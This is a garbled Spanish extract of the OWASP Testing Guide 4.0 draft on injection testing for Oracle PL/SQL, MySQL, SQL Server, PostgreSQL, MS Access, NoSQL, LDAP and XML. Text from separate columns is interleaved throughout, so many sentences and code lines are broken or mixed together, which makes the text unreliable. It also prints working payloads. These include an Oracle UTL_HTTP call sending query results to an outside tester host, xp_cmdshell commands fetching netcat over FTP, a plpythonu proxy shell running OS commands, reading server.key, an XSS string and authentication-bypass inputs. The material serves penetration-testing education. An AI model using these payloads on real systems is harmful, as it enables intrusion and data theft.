encontrar el valor correcto. Como ejemplo, usaremos el siguiente valor diferentes como resultado de dos peticiones web consecutivas idnticas,
para Id: no podremos discernir el valor verdadero del valor falso. En estos casos
particulares, es necesario utilizar filtros especficos que nos permiten
eliminar el cdigo que cambia entre las dos peticiones y obtener una
$Id=1 AND ASCII(SUBSTRING(username,1,1))=97 AND 1=1 plantilla. Posteriormente, para cada solicitud de inferencias ejecutada,
extraeremos la plantilla relativa de la respuesta usando la misma funcin,
y realizaremos un control entre las dos plantillas para decidir el resultado
de la prueba.
$Id=1 AND 1 = 2
Donde N es el nmero de caracteres que hemos analizado hasta ahora (sin
contar el valor null) la consulta ser:
SELECT * FROM products WHERE id_product=$id_product SELECT * FROM products WHERE id_product=$id_product
http://www.example.com/product.php?id=10
http://www.example.com/product.php?id=10
La solicitud maliciosa sera (por ejemplo Oracle 10g): La solicitud maliciosa debera ser:
http://www.example.com/product.php?id=10||UTL_HTTP.request(testers
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOS erver.com:80||(SELET user FROM DUAL)--
T_NAME( (SELECT user FROM DUAL) )--
En este ejemplo, el evaluador concatena el valor 10 con el resultado de la En este ejemplo, el evaluador comprueba si la versin de MySql es 5.x o no;
funcin UTL_HTTP.request. Esta funcin de Oracle intentar conectarse a esto causa que el servidor retrase la respuesta por diez segundos. El probador
'testerserver' y hacer una solicitud HTTP GET que contenga el valor devuelto puede aumentar el tiempo de retraso y monitorear las respuestas.
por la consulta "SELECT user FROM DUAL. El evaluador puede configurar
un servidor web (Apache por ejemplo) o utilizar la herramienta Netcat:
SELECT * FROM products WHERE id_product=$id_product Create procedure user_login @username varchar(20), @passwd varchar(20)
As Declare @sqlstring varchar(250) Set @sqlstring = Select 1 from users
Where username = + @username + and passwd = + @passwd
exec(@sqlstring) Go
http://www.example.com/product.php?id=10
Referencias
User input: Pginas especficas de tecnologa han sido creadas en la Gua de Pruebas para
las siguientes DBMS:
Oracle
1 from users; update users set password = password; select *
MySQL
SQL Server
Esto resulta en la ejecucin del informe y que las contraseas de todos los
usuarios sean actualizadas.
Libros Blancos
La mayora de las situaciones y tcnicas presentadas aqu pueden Chris Anley: Advanced S L Injection In S L Server Applications:
realizarse de forma automatizada utilizando algunas herramientas. En sparrow.ece.cmu.edu
este artculo, el evaluador puede encontrar informacin de cmo realizar
una auditora automatizada usando SQLMap: owasp.org Chris Anley: More Advanced S L Injection: encription.co.uk
utilizan el Gateway PL/SQL incluyen, pero no se limitan tan solo al embargo, la ubicacin no es necesariamente /pls. La ausencia de una
servidor HTTP de Oracle, eBusiness Suite, Portal, HTMLDB, WebDB y extensin de archivo en una URL podra indicar la presencia del Gateway
Oracle Application Server. PL/SQL de Oracle. Considere la siguiente URL:
http://www.server.com/aaa/bbb/xxxxx.yyyyy
Cmo probar
http://www.example.com/pls/xyz
http://www.example.com/xyz/owa
http://www.example.com/xyz/plsql
SIMPLEDAD Oracle-Application-Server-10g
PORTAL Oracle-Application-Server-10g/9.0.4.0.0
Cuando se realiza una evaluacin en un servidor, primero que nada es importante Oracle HTTP Server Powered by Apache/1.3.22 (Unix)
saber con qu tecnologa est tratando realmente. Si no la conoce an, por ejemplo, mod_plsql/3.0.9.8.3b
en un escenario de evaluacin de Caja Negra, entonces lo primero que debe hacer
es descubrir esto. Reconocer una aplicacin web PL/SQL es bastante fcil. En Oracle HTTP Server Powered by Apache/1.3.22 (Unix)
primer lugar, como se indic previamente, est el formato de la URL y su mod_plsql/9.0.2.0.0
visualizacin. Ms all de eso hay una serie de pruebas sencillas que pueden
realizarse para probar la existencia del Gateway PL/SQL. Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Los encabezados de respuesta del servidor web son un buen indicador de si el Oracle_Web_listener3.0.2.0.0/2.14FC1
servidor est ejecutando el Gateway PL/SQL. La siguiente tabla muestra algunos
de los encabezados tpicos de respuesta del servidor: Oracle9iAS/9.0.2 Oracle HTTP Server
La prueba NULL
SQL> BEGIN
This page was produced by the PL/S L Cartridge on date (Esta pgina
2 NULL; fue producida por el cartucho PL/SQL en la fecha)
3 END;
4 /
This page was produced by the PL/S L Cartridge on date (Esta pgina
fue producida por el cartucho PL/SQL en la fecha)
Podemos utilizar esto para probar si el servidor est ejecutando el
Gateway PL/SQL. Simplemente tome el DAD y anexe NULL, luego adjunte
NOSUCHPROC:
http://www.example.com/pls/dad/null
This page was produced by the PL/S L Web Toolkit on date (Esta
pgina fue producida por el conjunto de herramentas web de PL/SQL en la
fecha) Los ataques de script en sitios cruzados pueden lanzarse mediante un paquete
HTP.
http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert(XSS
)</script>
http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_
STMT?SQLSTMT=SELECT+1+FROM+DUAL
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC
http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC
Algunas versiones del Gateway PL/SQL permiten que la lista de exclusin sea
evitada con una barra invertida - 0x5C:
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC
http://www.example.com/pls/dad/foo.bar?xyz=123
1 declare
2 rc__ number;
3 start_time__ binary_integer;
4 simple_list__ owa_util.vc_arr; Mire las lneas 19 y 24. En la lnea 19, la solicitud del usuario es revisada
contra un listado de cadenas "malas" conocidas, por ejemplo, la lista de
5 complex_list__ owa_util.vc_arr; exclusin. Si el paquete solicitado y el procedimiento no contienen
cadenas "malas", entonces el procedimiento se ejecuta en la lnea 24. El
6 begin parmetro xyz se pasa como una variable de conexin.
7 start_time__ := dbms_utility.get_time;
8 owa.init_cgi_env(:n__,:nm__,:v__);
Entonces, solicitamos lo siguiente:
9 htp.HTBUF_LEN := 255;
10 null; http://server.example.com/pls/dad/INJECTPOINT
11 null;
12 simple_list__(1) := sys.%;
13 simple_list__(2) := dbms\_%;
el siguiente PL/SQL se ejecuta:
14 simple_list__(3) := utl\_%;
..
15 simple_list__(4) := owa\_%;
20 rc__ := 2;
22 null;
21 else
23 orasso.wpg_session.init();
22 null;
24 injectpoint;
23 orasso.wpg_session.init();
29 null;
30 null;
31 commit;
Documento
32 else Pre-release cortesa de Fernando Vela para drangonjar.org
33 rc__ := 0; 180
34 orasso.wpg_session.deinit();
Guia de pruebas 4.0 "Borrador"
JAVA_AUTONOMOUS_TRANSACTION.PUSH http://server.example.com/pls/dad/orasso.home?);--=BAR
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
Esto resulta en que se ejecute la siguiente PL/SQL:
WWC_VERSION.GET_HTTP_DATABASE_INFO
..
orasso.home();--=>:);--);
http://server.example.com/pls/dad/orasso.home?FOO=BAR Note que a todo despues del doble menos (--) se lo trata como
comentario. Esta solicitud causar un error interno del servidor porque
una de las variables de unin no se usa ms, as que el atacante necesita
incluirla nuevamente. Cuando esto sucede, la variable de conexin es la
clave para correr un PL/SQL arbitrario. Por el momento, ellos pueden
simplemente usar HTP.PRINT para imprimir BAR, y aadir la variable de
El servidor debe devolver una respuesta "404 File Not Found" (404 conexin requerida como:1:
Archivo no encontrado) porque el procedimiento orasso.home no
requiere parmetros y uno fue provisto. De todas maneras, antes que el
mensaje 404 sea devuelto, la siguiente PL/SQL se ejecut.
http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--
=BAR
..
..
if ((owa_match.match_pattern(orasso.home, simple_list__,
complex_list__, true))) then
Esto debe devolver un 200 con la palabra "BAR" en la HTML. Lo que
rc__ := 2; sucede aqu es que todo lo que viene despues del simbolo igual -BAR en
este caso- es la informacin anexada a la variable de conexin. Usando la
else misma tcnica, tambin es posible obtener acceso a owa_util.cellsprint
nuevamente:
null;
orasso.wpg_session.init();
http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLS
orasso.home(FOO=>:FOO); PRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS
..
..
http://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--
=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20 Si esta solicitud devuelve libros escritos por Charles Dickens, pero
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDE http://www.example.com/pls/bookstore/books.search?author=DICKE
X_TABLES NS
(INDEX_NAME,INDEX_SCHEMA,DBMS_OUTPUT.PUT_LIN
E(:p1);
devuelve un error o un 404, entonces puede haber una falla de inyeccin SQL.
EXECUTE%20IMMEDIATE%20CREATE%20OR%20REPLACE Esto puede confirmarse utilizando el operador de concatenacin:
%20
http://www.example.com/pls/bookstore/books.search?author=DICK||
ENS
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA
_UTIL;
END;--,SYS,1,VER,0);END;
Herramientas
SQLInjector: databasesecurity.com
Evale las aplicaciones web PL/SQL personalizadas
Orascan (Oracle Web Application VA scanner), NGS SQuirreL
Durante las evaluaciones de seguridad de Caja Negra, el cdigo de la
aplicacin PL/SQL personalizada no est disponible, pero debe ser
(Oracle RDBMS VA Scanner): nccgroup.com
evaluada en busca de vulnerabilidades de seguridad.
Referencias
Pruebe la inyeccin de SQL
Libros Blancos
Hackproofing Oracle Application Server (A Guide to Securing Cabe sealar que en las versiones de MySQL anteriores a 4.0.x, solo los
ataques de inyeccin ciega booleanos o basados en el tiempo podran ser
Oracle 9): blackhat.com utilizados, puesto que la funcionalidad de subconsulta de instrucciones
UNION no estaba implementada.
Oracle PL/SQL Injection: blackhat.com
Cmo probar
From Version 5.0: Stored procedures, Stored functions and the view named
INFORMATION_SCHEMA
En MySQL, existe una forma estndar para evitar la necesidad de comillas
simples: tener una cadena constante que declarar sin la necesidad de
From Version 5.0.2: Triggers
comillas simples.
En inyeccin de banda:
Resultado esperado:
Ejemplo:
Una cadena como esta:
1 /*! and 1=0 */
5.0.22-log
Resultado esperado:
Registro de usuario
Si MySQL est presente, se interpretar la clusula dentro del bloque de
comentario.
Hay dos tipos de usuarios en los que el servidor MySQL se apoya:
Hay ciertas diferencias entre 1 y 2. La principal es que un usuario annimo Resultado esperado:
podra conectarse (si se le permite) con cualquier nombre, pero el usuario
interno de MySQL es un nombre vaco (''). Otra diferencia es que un Una cadena como esta:
procedimiento almacenado o una funcin almacenada se ejecuta como el
usuario creador, si no se declara en otro sitio. Esto puede conocerse mediante dbname
el uso de CURRENT_USER.
Inyeccin inferencial:
Aqu hay un resumen de algunas vistas interesantes.
Resultado esperado:
user@hostname
Vectores de ataque
Si el usuario conectado tiene privilegios en FILE y las comillas simples no se archivos. Las comillas simples pueden escapar de la desinfeccin utilizando
escapan, la clusula 'into outfile' se puede utilizar para exportar los resultados tcnicas previamente descritas.
de la consulta en un archivo.
load_file(filename)
Select * from table into outfile /tmp/file
Resultado esperado:
Nota: no hay ninguna forma de eludir las comillas simples alrededor de un
nombre de archivo. Todo el archivo estar disponible para la exportacin mediante el uso de
tcnicas estndar.
As que si hay algn tipo de desinfeccin sobre las comillas simples como
escape (\'), no habr ninguna manera de utilizar la clusula 'into outfile'. Ataque de inyeccin SQL estandar
Ejemplo:
Resultado esperado:
Inyeccin SQL fuera de banda
Los resultados se guardan en un archivo con privilegios rw-rw-rw que son
propiedad del usuario y del grupo MySQL. La inyeccin fuera de banda podra lograrse mediante el uso de la
clusula 'into outfile'.
LENGTH(str)
Load_file es una funcin nativa que puede leer un archivo cuando es SUBSTRING(string, offset, #chars_returned)
autorizado por los permisos del sistema de archivo. Si el usuario conectado
tiene privilegios FILE, podra utilizarlos para obtener el contenido de los Inyeccin ciega basada en el tiempo: BENCHMARK y SLEEP
Reversing.org: packetstormsecurity.org
Los parmetros de aplicacin en las cadenas de consulta (por ejemplo,
Bernardo Damele A. G.: sqlmap, automatic SQL injection tool: solicitud GET)
sqlmap.org Los parmetros de aplicacin incluidos como parte del cuerpo de una
solicitud POST
Muhaimin Dzulfakar: MySqloit, MySql Injection takeover too:
Informacin relacionada con el navegador (por ejemplo, agente usuario,
code.google.com referido)
sqlsus.sourceforge.net Informacin relacionada con el host (por ejemplo, nombre de host, IP)
Libros Blancos
Microsoft SQL server tiene unas caractersticas nicas, por lo que algunas
Chris Anley: Hackproofing MyS L: nccgroup.com explotaciones necesitan ser especialmente modificadas para esta
aplicacin.
Casos de Estudio
Cmo probar
Zeelock: Blind Injection in MySQL Databases:
Caractersticas del ServidorSQL
http://archive.cert.uni-stuttgart.de
Para empezar, veamos algunos procedimientos de los operadores y
comandos o procedimientos almacenados del SQL Server que son tiles
en la prueba de inyeccin de SQL:
Pruebas del servidor SQL (SQL Server)
Resumen
[1] operador de comentarios: -
- [sp_makewebtask] Crea un shell de comandos de Windows y pasa una Note el uso de [convert]:
cadena para su ejecucin. Cualquier resultado se devuelve como filas de
texto. Esto requiere los privilegios sysadmin (administrador del sistema).
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
- [xp_sendmail] Enva un mensaje de correo electrnico, que puede incluir
un grupo de resultados de consultas adjunto a los destinatarios
especificados. Este procedimiento de almacenamiento extendido utiliza
SQL Mail para enviar el mensaje.
Alternativamente, podemos usar sp_makewebtask: Y aqu est el mismo ataque, pero usando otra vez el truco de conversin:
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-
Un ejemplo de POST completo:
06,1,stat,name1,name2,2006-01-06,1,@@version%20--
Host: vulnerable.web.app
Keep-Alive: 300
https://vulnerable.web.app/login.asp?Username=%20or%201=1&P email=%27&whichSubmit=submit&submit.x=0&submit.y=0
assword=%20or%201=1
Si el cdigo anterior no funciona, significa que el xp_log70.dll ha sido Este cdigo escrito por Antonin Foller (ver enlaces en la parte inferior de
movido o eliminado. En este caso tenemos que inyectar el siguiente cdigo: la pgina), crea un nuevo xp_cmdshell usando sp_oacreate, sp_oamethod
y sp_oadestroy (siempre que no hayan sido desactivados tambin, por
supuesto). Antes de usarla, necesitamos eliminar el primer xp_cmdshell
que creamos (incluso si no estaba trabajando), de lo contrario, chocarn
las dos declaraciones.
reconfigure
master..sp_configure xp_cmdshell,1
reconfigure
Permite la ejecucin de cdigo SQL arbitrario. Lo mismo sucede con el Tenga en cuenta que OPENROWSET est habilitado de forma
encabezado User-Agent configurado como: predeterminada en SQL Server 2000 pero deshabilitado en SQL Server
2005.
sp_addextendedproc xp_cmdshell,xp_log70.dll
Una vez que podemos utilizar xp_cmdshell (ya sea el nativo o uno
personalizado), fcilmente podemos subir archivos ejecutables en el
Ejemplo 7: SQL Server como un escner de puertos servidor de base de datos de destino. Una opcin muy comn es
netcat.exe, pero cualquier troyano ser til aqu. Si el objetivo es iniciar
En el SQL Server, uno de los comandos ms tiles (al menos para el las conexiones FTP en la mquina del evaluador, todo lo que se necesita
evaluador de penetracin) es OPENROWSET, que se utiliza para ejecutar es inyectar las siguientes consultas:
una consulta en otro servidor de base de datos y recuperar los resultados.
El evaluador de penetracin puede utilizar este comando para escanear En este punto, nc.exe estar cargado y disponible.
puertos de otras mquinas en la red objetivo, al inyectar la siguiente
consulta: exec master..xp_cmdshell echo open ftp.tester.org > ftpscript.txt;--
Esta consulta intentar una conexin a la direccin x.y.w.z en el puerto p. exec master..xp_cmdshell ftp -s:ftpscript.txt;--
Si el puerto est cerrado, se devolver el siguiente mensaje:
exec master..xp_cmdshell echo [debug script line #2 of n] >> select * from books where title=text entered by the user
debugscript.txt;--
....
Obtener informacin cuando no es visible (fuera de banda) En algunos casos la aplicacin web (realmente el servidor web) podra
devolver el tradicional 500: Internal Server Error, cuando la aplicacin
No todo est perdido cuando la aplicacin web no devuelve ninguna devuelve una excepcin que puede generarse, por ejemplo, por una
informacin, como mensajes de error descriptivos (cf. Inyeccin ciega de consulta con comillas no cerradas.
SQL). Por ejemplo, puede ocurrir que uno tenga acceso al cdigo fuente
(por ejemplo, porque la aplicacin web se basa en un software de cdigo Mientras que en otros casos el servidor devolver un mensaje 200 OK, la
abierto). Entonces, el evaluador de edicin puede explotar todas las aplicacin web devolver un mensaje de error insertado por los
vulnerabilidades de inyeccin SQL descubiertas fuera de lnea en la desarrolladores, por ejemplo Internal server error o bad data.
aplicacin web. Aunque un IPS puede detener algunos de estos ataques, la
mejor manera sera proceder as: desarrolle y pruebe los ataques en un
banco de pruebas creado para ello, y luego ejecute estos ataques contra la
aplicacin web que se est probando. Esta escasa informacin sera suficiente para entender cmo se construye
la consulta SQL dinmica mediante la aplicacin web y tunear una
explotacin. Otro mtodo de fuera de banda es generar los resultados a
travs de archivos navegables HTTP.
Otras opciones para los ataques fuera de banda se describen en el
ejemplo 4 anterior.
Ataques temporizados
Ataques de inyeccin ciega de SQL Hay una posibilidad ms para hacer una inyeccin ciega de SQL cuando
no hay reaccin visible de la aplicacin: midiendo el tiempo que tarda la
Prueba y error aplicacin web para responder a una solicitud. Un ataque de este tipo lo
describe Anley en ([2]) de donde tomamos los siguientes ejemplos. Un
Alternativamente, uno puede jugar a la suerte. El atacante puede asumir enfoque tpico utiliza el comando de retraso waitfor: si el atacante quiere
que existe una vulnerabilidad de inyeccin ciega de SQL o fuera de banda comprobar si existe la base de datos 'pubs', simplemente inyectar el
en la aplicacin web. Luego selecciona un vector de ataque (por ejemplo, siguiente comando:
una entrada de la web), utiliza vectores de fuzz (1) contra este canal y
select @i = @i + 1
end
Dependiendo del tiempo que le lleva a la consulta responder, sabremos la
respuesta. De hecho, lo que tenemos aqu son dos cosas: una
vulnerabilidad de inyeccin SQL y un canal encubierto que permite al
evaluador de penetracin conseguir un bit de informacin de cada Compruebe la versin y las vulnerabilidades
consulta. Por lo tanto, usando varias consultas (cuantas consultas como
bits de informacin se requieran) el evaluador de edicin puede obtener El mismo enfoque de temporizacin puede utilizarse tambin para
cualquier informacin que est en esta base de datos. Mire la siguiente entender de qu versin de SQL Server se trata. Por supuesto
consulta: aprovechamos la variable de @@version incorporada. Considere la
siguiente consulta:
declare @s varchar(8000)
select @@version
declare @i int
select @s = db_name()
Esta consulta esperar cinco segundos si bit '@bit' de byte '@byte' del
nombre de la base de datos actual es 1 y volver inmediatamente si es 0. Dicha consulta esperar cinco segundos si el carcter nmero 25 de la variable
Anidando dos ciclos (uno para @byte y otro para @bit) seremos capaces @@version es '5', ensendonos que estamos tratando con un SQL Server 2005.
de extraer toda la pieza de informacin. Si la consulta regresa inmediatamente, es probable que estemos tratando con
SQL Server 2000, y otra consulta similar ayudar a despejar todas las dudas.
tool: sqlmap.org
Libros Blancos
- LENGTH(str)
De ahora en adelante se supone que http://www.example.com/news.php?id=1
es vulnerable a ataques de inyeccin SQL. Extraer una subcadena desde una cadena dada
- SUBSTR(str,index,offset)
Ejemplos:
Adems, la funcin version() puede utilizarse para atrapar el banner de Adicionalmente, usted puede fcilmente crear una pg_sleep(n) personalizada
PostgreSQL. Esto tambin mostrar el tipo de sistema operativo en las versiones previas usando libc:
subyacente y la versin.
Ejemplo: Las cadenas pueden codificarse para prevenir la fuga de comillas simples,
usando la funcin chr().
Inyeccin ciega
Para los ataques de inyeccin ciega de SQL, debe tomar en consideracin las
siguientes funciones incorporadas:
111
select ascii(t)
116
Base de datos actual
chr(114)||chr(111)||chr(111)||chr(116)
Ejemplo:
Vectores de Ataque
La identidad del usuario actual se puede recuperar con las siguientes funcin interna pg_read_file() (desde PostgreSQL 8.1)
instrucciones SQL SELECT:
SELECT user
SELECT current_user
COPY:
SELECT session_user
Este operador copia datos entre un archivo y una tabla. El motor PostgreSQL
accede al sistema de archivos local como un usuario postgres.
SELECT usename FROM pg_user
SELECT getpgusername()
Ejemplo
Ejemplos:
SELECT pg_read_file(server.key,0,1000);
SELECT system_out FROM stdout CREATE FUNCTION proxyshell(text) RETURNS text AS import os;
return os.popen(args[0]).read() LANGUAGE plpythonu
Ejemplo:
[4] Diviertase con:
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- SELECT proxyshell(os command);
/store.php?id=1; COPY stdout(system_out) FROM /tmp/test -- /store.php?id=1 UNION ALL SELECT NULL, proxyshell(whoami),
NULL OFFSET 1;--
SELECT count(*) FROM pg_language WHERE lanname=plpythonu [2] Si no, asumiendo que sysadm ha instalado el paquete plperl, intente:
CREATE LANGUAGE plpythonu [3] Si cualquiera de las anteriores tuvo xito, cree una funcin de proxy shell:
[4] Divirtase con: ejemplo, una cita, comilla doble, ...) para activar las excepciones de la base
de datos. Suponiendo que la aplicacin no maneja excepciones con
SELECT proxyshell(os command); pginas personalizadas, es posible marcar con huellas digitales, la DBMS
subrayada mediante la observacin de los mensajes de error.
Ejemplo:
Dependiendo de la tecnologa web especfica utilizada, las aplicaciones
[1] Cree una funcin proxy shell: dirigidas por MS Access respondern con uno de los siguientes errores:
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool -
http://sqlmap.sourceforge.net Microsoft Office Access Database Engine
No comments characters
Como probar
No stacked queries
Marque con huellas digitales
No LIMIT operator
Dejar huellas digitales en la tecnologa especfica de la base de datos
No SLEEP or BENCHMARK alike operators
mientras se prueba la aplicacin de SQL es el primer paso para evaluar
correctamente los posibles puntos vulnerables. Un mtodo comn
and many others
implica inyectar patrones de ataque de inyeccin de SQL estndar (por
http://www.example.com/page.app?user=admin%16&pass=foo
Enumeracin de atributos
GROUP BY Id%00
http://www.example.com/page.app?id=2+UNION+SELECT+TOP+3
+name+FROM+appsTable%00
Obtencin del esquema de base de datos ltimas versiones de MS Access, tampoco es posible ejecutar comandos
de shell o archivos arbitrarios de leer/escribir.
Existen varias tablas por defecto del sistema en MS Access que pueden
utilizarse potencialmente para obtener nombres de tablas y columnas.
Por desgracia, en la configuracin predeterminada de versiones recientes
de bases de datos de MS Access, estas tablas no son accesibles. Sin En el caso de las inyecciones ciegas de SQL, el atacante puede deducir el
embargo, siempre vale la pena probar: resultado de la consulta nicamente mediante la evaluacin de las
diferencias de tiempo o las respuestas de la aplicacin. Se supone que el
lector ya sabe la teora detrs de los ataques de inyeccin ciega de SQL, ya
que la parte restante de esta seccin se centrar en detalles especficos de
MSysObjects MS Access.
MSysACEs
http://www.example.com/index.php?myId=[sql]
Por ejemplo, si existe una vulnerabilidad de inyeccin union de SQL, puede usar la
siguiente consulta:
http://www.example.com/index.php?id=IIF((select%20MID(LAST(us
ername),1,1)%20from%20(select%20TOP%2010%20username%20fr
om%20users))=a,0,no)
Mediante la combinacin de las funciones IFF, MID, LAST y TOP, es [1] Probar todos los valores imprimibles, hasta que encontramos una
posible extraer el primer carcter del nombre de usuario en una fila coincidencia.
seleccionada especficamente. Como la consulta interna devuelve un
conjunto de registros y no slo uno, no es posible utilizarlo directamente. [2] Deducir la longitud de la cadena utilizando la funcin LEN o
Afortunadamente, podemos combinar varias funciones para extraer una simplemente parando despus de que hemos encontrado todos los
cadena especfica. caracteres.
http://packetstormsecurity.com/files/65967/Access-Through-
Access.pdf.html
Luego, utilizando este subconjunto, podemos extraer la ltima fila con la http://seclists.org/pen-test/2003/May/74
funcin LAST. Una vez que tenemos slo una fila y exactamente la fila que
contiene la cadena, podemos utilizar las funciones IFF, MID y LAST para http://www.techonthenet.com/access/functions/index_
inferir el valor real del nombre de usuario. En nuestro ejemplo,
alpha.php
empleamos IFF para devolver un nmero o una cadena. Con este truco,
podemos distinguir si tenemos una respuesta verdadera o no, observando
http://en.wikipedia.org/wiki/Microsoft_Access
las respuestas de error de la aplicacin. Como la identificacin es
numrica, puede compararse con una cadena de resultados en un error
SQL que puede ser potencialmente filtrado por pginas 500 de Error
interno del servidor. De lo contrario, probablemente se devolver una Pruebas de inyeccin NoSQL
pgina 200 OK estndar.
Resumen
Hoy encontramos ms de 150 bases de datos NoSQL disponibles[3] para Opcionalmente, JavaScript tambien se evala para permitir condiciones ms
usarlas dentro de una aplicacin, y que proporcionan API en una variedad avanzadas.
de lenguajes y modelos de relacin. Cada una ofrece diferentes
caractersticas y restricciones. Ya que no hay un lenguaje comn entre
ellas, una inyeccin de cdigo de ejemplo no aplica a travs de las bases db.myCollection.find( { $where: function() { return obj.credits -
obj.debits < 0; } } );
de datos NoSQL. Por esta razn, cualquier persona que va a probar los
ataques de inyeccin de NoSQL tendr que familiarizarse con la sintaxis,
modelo de datos y lenguaje de programacin relacionada para poder
elaborar pruebas especficas.
Ejemplo 1
Los ataques de inyeccin de NoSQL pueden ejecutarse en diferentes reas
de una aplicacin que la inyeccin de SQL tradicional. Mientras la Si un atacante es capaz de manipular los datos entregados en el operador
inyeccin SQL se ejecutara dentro del motor de la base de datos, las $where, ese atacante podra incluir JavaScript arbitrario para que sea
variantes NoSQL pueden ejecutarse dentro de la capa de aplicacin o la evaluado como parte de la consulta de MongoDB. Un ejemplo de una
capa de base de datos, dependiendo de la API de NoSQL y el modelo de vulnerabilidad se expone en el siguiente cdigo, si el ingreso del usuario
datos usado. Por lo general, los ataques de inyeccin de NoSQL se se pasa directamente a la consulta de MongoDB sin desinfeccin.
ejecutarn donde la cadena de ataque es analizada, evaluada o
concatenada con una comunicacin a la API de NoSQL.
b.myCollection.find( { active: true, $where: function() { return
obj.credits - obj.debits < $userInput; } } );;
Cmo probar
Para probar las vulnerabilidades de inyeccin de NoSQL en MongoDB: Por ejemplo, en MongoDB, si se pasa una cadena que contiene cualquiera
de los siguientes caracteres especiales sin desinfectar, desencadenara un
El API de MongoDB espera comunicaciones BSON (Binary JSON) e incluye error de base de datos.
una herramienta para ensamblar consultas BSON seguras. Sin embargo,
segn la documentacin de MongoDB - expresiones no seriales de JSON y \;{}
JavaScript se permiten en varios parmetros de una consulta
alternativa.[4] La comunicacin API ms utilizada que permite ingresos
de JavaScript arbitrarios es el operador $where.
Referencias
Por ejemplo, en MongoDB, la sintaxis $where es un operador de consulta
reservado. Tiene que ser enviado dentro de la consulta exactamente Libros Blancos
como se muestra; cualquier alteracin causara un error de base de datos.
Bryan Sullivan from Adobe: Server-Side JavaScript Injection:
media.blackhat.com
Sin embargo, como $where tambin es un nombre vlido de variable de Bryan Sullivan from Adobe: NoS L, But Even Less Security:
PHP, es posible para un atacante insertar un cdigo en la consulta blogs.adobe.com
mediante la creacin de una variable PHP llamada $where. La
documentacin de PHP MongoDB explcitamente advierte a los Erlend from Bekk Consulting: [Security] NOS L-injection:
desarrolladores: erlend.oftedal.no
Resumen
Una aplicacin web podra utilizar LDAP para permitir a los usuarios
autenticarse o buscar informacin de otros usuarios dentro de una
estructura corporativa. El objetivo de los ataques de inyeccin LDAP es
inyectar meta caracteres de filtros de bsqueda LDAP en consultas que
sern ejecutadas por la aplicacin.
Cmo probar
Las condiciones booleanas y agregaciones de grupo en un filtro de
bsqueda LDAP pueden aplicarse utilizando los siguientes Ejemplo 1: Filtros de bsqueda
metacaracteres:
Supongamos que tenemos una aplicacin web que utiliza un filtro de
bsqueda como el siguiente:
searchfilter=(cn=+user+)
pass=password
http://www.example.com/ldapsearch?user=*
searchfilter=(cn=*) X03MO1qnZdYdgyfeuILPmQ==));
Herramientas
Si la aplicacin es vulnerable a una inyeccin LDAP, se mostrarn algunos
o todos los atributos de los usuarios, dependiendo del flujo de ejecucin
Softerra LDAP Browser: dapadministrator.com
de la aplicacin y los permisos del LDAP del usuario conectado.
Referencias
Un evaluador podra utilizar un enfoque de prueba y error, introduciendo
en el parmetro '(', '|', '&', ' *' y los otros caracteres, con el fin de verificar
Libros Blancos
los errores de la aplicacin.
Sacha Faust: LDAP Injection: Are Your Applications Vulnerable?:
networkdls.com
Si una aplicacin web utiliza LDAP para comprobar las credenciales de IBM paper: Understanding LDAP: redbooks.ibm.com
usuario durante el proceso de inicio de sesin y es vulnerable a una
inyeccin LDAP, es posible evitar la comprobacin de autenticacin RFC 1960: A String Representation of LDAP Search Filters: ietf.org
mediante la inyeccin de una consulta LDAP que siempre es verdadera
(de una manera similar a la inyeccin SQL y XPATH).
Supongamos que una aplicacin web utiliza un filtro para emparejar la Resumen
combinacin LDAP de usuario/contrasea.
La inyeccin de ORM es un ataque de inyeccin SQL contra un modelo de Pruebas de Caja Gris
objetos de acceso de datos generado mediante ORM. Desde el punto de vista
del evaluador, este ataque es virtualmente idntico a un ataque de inyeccin Si el evaluador tiene acceso al cdigo fuente de una aplicacin web, o
SQL. Sin embargo, la vulnerabilidad de inyeccin existe en el cdigo puede descubrir las vulnerabilidades de una herramienta ORM y prueba
generado por la herramienta ORM. aplicaciones que utiliza esta herramienta web, hay una mayor
probabilidad de atacar con xito a la aplicacin.
NHibernate http://nhforge.org/
Cmo probar
Resumen
La prueba de inyeccin XML se da cuando un evaluador intenta inyectar Cuando un usuario llena un formulario HTML para registrarse, la aplicacin
un documento XML a la aplicacin. Si el analizador XML falla en la recibe los datos del usuario en una peticin estndar, que, por simplicidad, se
validacin de datos dentro de su contexto, la prueba dar un resultado supone ser enviada en una peticin GET.
positivo.
Cmo probar
producirn la solicitud:
Supongamos que hay una aplicacin web que utiliza una comunicacin de
estilo XML para llevar a cabo el registro del usuario. Esto se hace creando
http://www.example.com/addUser.php?username=tony&password=U
y aadiendo un nuevo nodo de <user> en un archivo xmlDb.
n6R34kb!e&[email protected]
<users>
<user>
<user>
<username>tony</username>
<username>gandalf</username>
<password>Un6R34kb!e</password>
<password>!c3</password>
<userid>500</userid>
<userid>0</userid>
<mail>[email protected]</mail>
<mail>[email protected]</mail>
</user>
</user>
<user>
que ser aadido al xmlDB:
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>gandalf</username>
<password>!c3</password> As, s:
<userid>0</userid>
inputValue = foo
<mail>[email protected]</mail>
</user>
<user>
se crea una instancia y luego se inserta como el valor de attrib:
<username>Stefan0</username>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
Entonces, el documento XML resultante no est redactado correctamente.
<user>
<username>tony</username>
Comilla Doble (Double quote): - este carcter tiene el mismo significado
